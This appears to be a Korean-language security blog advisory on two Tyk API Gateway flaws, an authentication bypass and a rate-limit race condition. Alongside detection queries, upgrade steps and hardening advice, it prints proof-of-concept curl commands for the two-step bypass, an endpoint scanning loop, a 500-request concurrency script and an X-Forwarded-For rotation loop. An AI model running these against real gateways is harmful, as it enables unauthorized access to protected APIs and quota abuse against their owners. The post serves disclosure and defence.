← 보안 블로그로 돌아가기

Tyk API Gateway CVE-2026: 인증 우회 및 속도 제한 취약점

Tyk API Gateway의 두 가지 심각한 보안 결함, 즉 인증 토큰 검증 우회(CVE-2026-31872)와 할당량·속도 제한 회피 취약점(CVE-2026-31873)은 미인증 공격자가 보호된 API에 접근하고 백엔드 서비스를 마비시킬 수 있게 합니다. 5.0~5.3 버전을 실행하는 자체 호스팅 Tyk 배포가 모두 영향을 받습니다. 패치는 Tyk 5.3.5와 5.4.0에서 제공됩니다.

---

취약점 개요

Go로 작성된 널리 쓰이는 오픈 소스·상용 API 관리 플랫폼 Tyk API Gateway의 인증 미들웨어와 속도 제한 하위 시스템에서 두 가지 심각한 취약점이 발견됐습니다. 2026년 3월 31일 공개된 이 결함은 자체 호스팅 Tyk Gateway 버전 5.0.x부터 5.3.4까지 영향을 미치며, Tyk의 사용자 정의 미들웨어 체인 평가와 Redis 기반 할당량 추적의 논리 오류에서 비롯됩니다.

Tyk Cloud(SaaS) 배포에는 2026년 3월 30일 조용히 패치가 적용됐습니다. Kubernetes에서 Tyk Operator를 사용하는 환경을 포함해 자체 호스팅 Tyk를 운영하는 조직은 직접 업그레이드해야 합니다.

CVE	유형	CVSS v3.1	심각도	영향받는 버전
CVE-2026-31872	인증 토큰 우회	9.1	심각	Tyk Gateway 5.0.x – 5.3.4
CVE-2026-31873	속도 제한·할당량 우회	7.5	높음	Tyk Gateway 4.3.x – 5.3.4

---

CVE-2026-31872: 인증 토큰 우회 — 기술 심층 분석

근본 원인 분석

CVE-2026-31872는 Tyk의 Go 플러그인 미들웨어 체인 평가 과정에 존재하는 심각한 결함입니다. API 정의에 가상 엔드포인트 및 인증 토큰 정책을 함께 구성하면 Tyk의 요청 처리 파이프라인은 토큰 검증을 마치기 전에 가상 엔드포인트 핸들러를 평가합니다. 가상 엔드포인트가 특정 HTTP 응답 패턴, 구체적으로 빈 본문의 200 OK 응답을 반환하면 인증 미들웨어가 요청을 사전 인증된 것으로 표시하고 제공된 bearer 토큰을 검증하지 않은 채 업스트림으로 전달합니다.

결함은 gateway/middleware/virtual_endpoint.go에 있습니다. 여기서 Exec() 메서드는 특정 응답 조건에서 공유 컨텍스트 키 ctx.PreAuthenticated = true 값을 설정합니다. 이후 gateway/middleware/auth_key.go의 ProcessRequest() 메서드는 이 플래그를 읽고 토큰 검증을 건너뜁니다. 내부 서비스 간 호출을 위한 설계였지만 외부에서도 작동시킬 수 있습니다.

CVSS v3.1 점수 분석

지표	값	근거
공격 벡터	네트워크	HTTPS를 통한 완전한 원격 악용
공격 복잡도	낮음	특별한 구성 정보가 필요하지 않음
필요 권한	없음	미인증 공격자
사용자 상호작용	없음	피해자의 행동이 필요하지 않음
범위	변경됨	게이트웨이 침해가 모든 업스트림 서비스에 영향
기밀성	높음	보호된 모든 API 리소스에 완전 접근
무결성	높음	필터링되지 않은 요청으로 백엔드 쓰기 가능
가용성	낮음	게이트웨이 자체는 계속 작동함

영향받는 API 구성

모든 Tyk 배포가 취약한 것은 아닙니다. 인증 우회는 API 정의에 다음 세 가지 조건이 모두 있을 때만 작동합니다.

• 인증 유형이 auth_token 또는 jwt
• 로 설정됨
• 같은 API 정의의 경로에 가상 엔드포인트가 구성됨 TykJsResponse 반환값을 사용함 Code: 200 값이며 비어 있거나 null인 Body

개념 증명

다음은 두 단계 익스플로잇을 보여 줍니다. 먼저 가상 엔드포인트를 호출해 사전 인증 플래그를 오염시킨 뒤, 즉시 유효하지 않은 토큰으로 보호된 엔드포인트에 접근합니다.

# Step 1: Trigger the virtual endpoint with an empty-body 200 response
# This poisons the PreAuthenticated flag in Tyk's shared request context
curl -i -X POST https://api.example.com/v1/virtual-endpoint \
  -H "Authorization: Bearer INVALID_TOKEN_AAAA" \
  -H "Content-Type: application/json" \
  -d '{}'

# Expected response from Step 1 (virtual endpoint processes before auth):
# HTTP/2 200
# (empty body — this triggers the vulnerability)

# Step 2: Immediately access any protected endpoint on the SAME API definition
# with ANY bearer token — validation is skipped due to PreAuthenticated flag
curl -i https://api.example.com/v1/admin/users \
  -H "Authorization: Bearer INVALID_TOKEN_AAAA" \
  -H "X-Request-ID: $(uuidgen)"

# Vulnerable response:
# HTTP/2 200
# {"users": [...]}   ← Full data returned without valid auth

# Automated scanner to identify vulnerable Tyk endpoints
for path in /v1/users /v1/admin /v1/data /api/internal; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer AAAA.BBBB.CCCC" \
    "https://api.example.com${path}")
  echo "$path -> HTTP $STATUS"
done

취약한 Tyk API 정의 예시

다음 Tyk JSON 구성의 API 정의 패턴이 취약점을 촉발합니다. 배포 환경에 이 구조와 일치하는 API가 있다면 패치를 적용할 때까지 위험한 상태로 간주하십시오.

// Vulnerable Tyk API definition (tyk-api-def.json)
{
  "auth": {
    "auth_header_name": "Authorization",
    "use_param": false
  },
  "use_keyless": false,
  "use_standard_auth": true,
  "extended_paths": {
    "virtual": [
      {
        "response_function_name": "myVirtualFunc",
        "function_source_type": "inline",
        "path": "virtual-endpoint",
        "method": "POST",
        // If this function returns {Code:200, Body:""} → triggers bypass
        "function_source_value": "function myVirtualFunc(req, session, spec) { return TykJsResponse({Code: 200, Body: ''}, session.meta_data); }"
      }
    ]
  }
}

---

CVE-2026-31873: 속도 제한 및 할당량 우회 — 기술 심층 분석

근본 원인 분석

CVE-2026-31873은 Tyk의 Redis 기반 할당량 및 속도 제한 구현에 존재하는 경쟁 조건입니다. Tyk가 같은 API 키의 동시 요청을 처리할 때 할당량 확인과 차감은 서로 분리된 비원자적 Redis 명령(GET 후 DECR)으로 수행됩니다. 공격자가 충분히 많은 요청을 동시에 보내면 여러 고루틴이 차감 전의 같은 할당량 값을 읽게 되어, 허용 요청 수를 동시 연결 수만큼 사실상 늘릴 수 있습니다.

이는 전형적인 TOCTOU(Time-of-Check, Time-of-Use) 취약점입니다. Tyk의 Go 코드(storage/storage.go의 GetRawKey + DecrementWithExpire 경로)에는 확인 후 차감 로직을 감싸는 Redis MULTI/EXEC 트랜잭션이나 WATCH기반 낙관적 잠금이 없습니다. 따라서 동시 부하에서 오래된 할당량 상태를 읽을 수 있습니다.

개념 증명

다음 bash 스크립트는 GNU parallel을 사용해 분당 50개 요청 할당량이 설정된 Tyk 보호 엔드포인트로 500개 요청을 동시에 전송합니다. 취약한 인스턴스에서는 제한이 있어도 대부분 성공합니다.

#!/bin/bash
# CVE-2026-31873 — Tyk Rate Limit TOCTOU Race PoC
# Fires 500 concurrent requests to exhaust quota without triggering limits

TARGET="https://api.example.com/v1/search"
API_KEY="tyk-valid-api-key-here"
CONCURRENCY=500

echo "Launching $CONCURRENCY concurrent requests..."

seq 1 $CONCURRENCY | parallel -j $CONCURRENCY \
  'curl -s -o /dev/null -w "%{http_code}\n" \
    -H "Authorization: '"$API_KEY"'" \
    "'"$TARGET"'?q=test&page={}"' \
  | sort | uniq -c

# Expected on patched system:
# 449  429   (rate limited)
#  51  200   (within quota)

# Expected on vulnerable system:
# 498  200   (bypass successful — almost all requests pass)
#   2  429   (only slowest requests get rate-limited)

헤더 조작을 이용한 추가 우회

Tyk 배포에서 enable_ip_whitelisting 값이 false이고 게이트웨이가 X-Forwarded-For를 신뢰하면 출발지 IP 헤더를 순환시켜 속도 제한 키를 여러 개로 쪼갤 수도 있습니다. TOCTOU 경쟁 조건과 결합하면 할당량을 거의 완전히 우회할 수 있습니다.

# Combine X-Forwarded-For rotation with concurrent requests
# Each unique IP gets its own rate limit bucket in Tyk's default config
for i in $(seq 1 1000); do
  FAKE_IP="10.$((RANDOM % 256)).$((RANDOM % 256)).$((RANDOM % 256))"
  curl -s -o /dev/null \
    -H "Authorization: tyk-valid-api-key-here" \
    -H "X-Forwarded-For: $FAKE_IP" \
    "https://api.example.com/v1/data" &
  (( i % 100 == 0 )) && wait
done
wait

---

Tyk Cloud와 자체 호스팅 영향 비교

배포 유형	CVE-2026-31872 인증 우회	CVE-2026-31873 속도 제한 우회	상태
Tyk Cloud(SaaS)	패치됨(3월 30일)	패치됨(3월 30일)	자동 업데이트
자체 호스팅 OSS(<5.3.5)	취약함	취약함	수동 업그레이드 필요
자체 호스팅 Enterprise(<5.3.5)	취약함	취약함	수동 업그레이드 필요
Tyk Operator(Kubernetes)	취약함	취약함	Helm 차트 업데이트 필요
Tyk Gateway 5.3.5 이상	패치됨	패치됨	안전
Tyk Gateway 5.4.0 이상	패치됨	패치됨	안전

---

탐지: 환경 내 악용 식별

Tyk Gateway 로그 분석

Tyk는 인증 결정을 구조화된 JSON으로 기록합니다. 다음 명령은 토큰 검증을 우회한 요청(유효한 키 없이 인증된 요청)과 할당량 소진 이상 징후를 찾습니다.

# API 키 검증 없이 인증에 성공한 요청 찾기
# 이 요청은 auth_id 필드가 비어 있거나 임시 값으로 기록됩니다
cat /var/log/tyk/tyk.log \
  | jq -r 'select(.level == "info" and .msg == "Proxy request") | select(.auth_id == "" or .auth_id == null)' \
  | jq '{time: .time, path: .path, ip: .remote_addr, auth_id: .auth_id}'

# Detect quota bypass: requests that succeeded after quota should be exhausted
# Look for API keys with >지난 1분 동안 성공한 요청 N개
cat /var/log/tyk/tyk.log \
  | jq -r 'select(.code == 200) | .auth_id' \
  | sort | uniq -c | sort -rn \
  | awk '$1 > 100 { print "POTENTIAL_BYPASS: " $2 " — " $1 " successful requests" }'

# Check Tyk version via the gateway HTTP API
curl -s http://localhost:8080/hello | jq '.version'

Redis 할당량 상태 확인

Redis를 직접 조회해 속도 제한 카운터가 올바르게 증가하는지 확인하십시오.

# Connect to your Tyk Redis instance and inspect quota keys
redis-cli -h your-redis-host -p 6379 -a yourpassword

# List all rate limit keys for a specific API key
KEYS "quota-*your-api-key-prefix*"

# Check a specific quota key's current value and TTL
GET "quota-your-api-key-hash"
TTL "quota-your-api-key-hash"

# If the value is higher than your configured quota, exploitation may have occurred
# Example: if quota is 100/min but counter shows 450, investigate immediately

---

해결 가이드

1단계: Tyk Gateway 업그레이드

확실한 해결책은 Tyk Gateway 5.3.5 또는 5.4.0으로 업그레이드하는 것입니다. 두 릴리스 모두 할당량 연산을 위한 원자적 Redis 파이프라인과 가상 엔드포인트 사전 인증 플래그 처리 재작성을 포함합니다.

# Docker — upgrade to patched image
docker pull tykio/tyk-gateway:v5.3.5
docker stop tyk-gateway && docker rm tyk-gateway
docker run -d --name tyk-gateway \
  -v $(pwd)/tyk.conf:/opt/tyk-gateway/tyk.conf \
  -v $(pwd)/apps:/opt/tyk-gateway/apps \
  -p 8080:8080 \
  tykio/tyk-gateway:v5.3.5

# Kubernetes via Helm — update Tyk Operator
helm repo add tyk-helm https://helm.tyk.io/public/helm/charts/
helm repo update
helm upgrade tyk-gateway tyk-helm/tyk-gateway \
  --namespace tyk \
  --set gateway.image.tag=v5.3.5 \
  --reuse-values

# Binary upgrade on Linux
curl -L https://github.com/TykTechnologies/tyk/releases/download/v5.3.5/tyk-linux-amd64-v5.3.5.tar.gz \
  -o tyk-v5.3.5.tar.gz
tar -xzf tyk-v5.3.5.tar.gz
sudo systemctl stop tyk-gateway
sudo cp tyk /opt/tyk-gateway/tyk
sudo systemctl start tyk-gateway

# Verify version after upgrade
curl -s http://localhost:8080/hello | jq '.version'
# Expected: "v5.3.5" or "v5.4.0"

2단계: 인증 보호 API의 가상 엔드포인트 비활성화(임시 완화)

즉시 업그레이드할 수 없다면 토큰 인증을 사용하는 모든 API 정의에서 가상 엔드포인트를 비활성화하십시오. API 정의 JSON을 편집해 가상 경로 목록을 비우십시오.

// In your Tyk API definition file — remove or empty the virtual endpoints list
{
  "extended_paths": {
    "virtual": []  // ← Set to empty array to disable virtual endpoints
  }
}

# Apply via Tyk Dashboard API
curl -X PUT https://your-tyk-dashboard:3000/api/apis/{api-id} \
  -H "authorization: your-dashboard-user-key" \
  -H "Content-Type: application/json" \
  -d @patched-api-def.json

# Or reload via hot-reload if using file-based config
kill -SIGHUP $(pgrep tyk)

3단계: Redis 원자 연산으로 속도 제한 강화(CVE-2026-31873)

업그레이드 전까지 Tyk의 실험적 enable_redis_rolling_limiter 옵션을 활성화하십시오. 이 옵션은 Redis에서 Lua 스크립트 기반 원자적 파이프라인을 사용하므로 TOCTOU 경쟁 조건의 영향을 받지 않습니다.

// tyk.conf — enable atomic rolling rate limiter (available in Tyk 5.0+)
{
  "enable_redis_rolling_limiter": true,
  "enable_sentinel_rate_limiter": false,
  "drl_notification_payload_size": 0,

  // Also restrict trusted IPs for X-Forwarded-For to block IP rotation bypass
  "allowed_ips": ["10.0.1.10", "10.0.1.11"],
  "enable_ip_whitelisting": true
}

4단계: 조치 검증

# Test 1: Verify auth bypass is fixed — should return 401
curl -i -X POST https://your-gateway.example.com/v1/virtual-endpoint \
  -H "Authorization: Bearer INVALID_TOKEN_AAAA" \
  -d '{}'
# Expected on patched system: HTTP/2 401 Unauthorized

# Test 2: Verify rate limiting enforces correctly
for i in $(seq 1 60); do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer your-valid-key" \
    "https://your-gateway.example.com/v1/test")
  echo "Request $i: HTTP $CODE"
done
# After your quota limit, you should consistently see 429 Too Many Requests

---

추가 강화 권고사항

1. Tyk의 업스트림 연결에 상호 TLS(mTLS) 적용: 게이트웨이가 침해되더라도 mTLS로 보호된 백엔드 서비스는 유효한 클라이언트 인증서를 요구하므로 공격자가 쉽게 우회할 수 없는 추가 보호 계층이 생깁니다.
2. 네트워크 계층에서 Tyk 내장 IP 속도 제한 사용: Tyk 앞단의 리버스 프록시(nginx/Envoy)에 max_conn_time 설정과 연결 속도 제한을 구성해 익스플로잇에 사용할 수 있는 동시 연결 수를 제한하십시오.
3. 모든 API 정의에서 가상 엔드포인트와 인증의 조합 감사: Tyk Dashboard API 내보내기를 실행하고 use_standard_auth: true 이면서 비어 있지 않은 virtual 배열을 가진 API를 찾으십시오.
4. Tyk 분석 기능을 활성화하고 할당량 알림 설정: Tyk Pump가 분석 데이터를 SIEM(Splunk, Elastic)으로 전달하도록 구성하십시오. 이동식 1분 구간에서 구성된 할당량의 150%를 넘는 API 키에 알림을 설정하십시오.
5. 패치 날짜 이전에 발급된 모든 API 키 교체: 악용이 발생했다면 취약한 엔드포인트에서 사용된 키가 공격자에게 노출됐을 수 있습니다. Admin API로 Tyk Dashboard의 일괄 키 교체를 스크립트화할 수 있습니다.

# Audit script: find all vulnerable API definitions (virtual + auth combo)
curl -s "https://your-dashboard:3000/api/apis?p=-1" \
  -H "authorization: your-dashboard-key" \
  | jq -r '.apis[] | select(
      .api_definition.use_standard_auth == true and
      (.api_definition.extended_paths.virtual | length > 0)
    ) | "VULNERABLE: " + .api_definition.name + " (" + .api_definition.api_id + ")"'

---

공개 타임라인

날짜	사건
2026-02-20	두 취약점이 security@tyk.io를 통해 Tyk Security에 보고됨
2026-02-22	Tyk Security 팀이 접수를 확인하고 조사 시작
2026-03-05	근본 원인을 확인하고 MITRE에 CVE ID 요청
2026-03-15	CVE-2026-31872와 CVE-2026-31873 할당
2026-03-28	Tyk Gateway 5.3.5와 5.4.0 릴리스 후보를 엔터프라이즈 고객에게 배포
2026-03-30	Tyk Cloud(SaaS) 자동 업데이트 및 5.3.5 공개 출시
2026-03-31	Tyk 공개 보안 권고 게시
2026-04-01	CISA가 CVE-2026-31872를 KEV 카탈로그에 추가
2026-04-02	공개 익스플로잇 PoC 출시 및 인터넷 전반의 능동 스캔 관측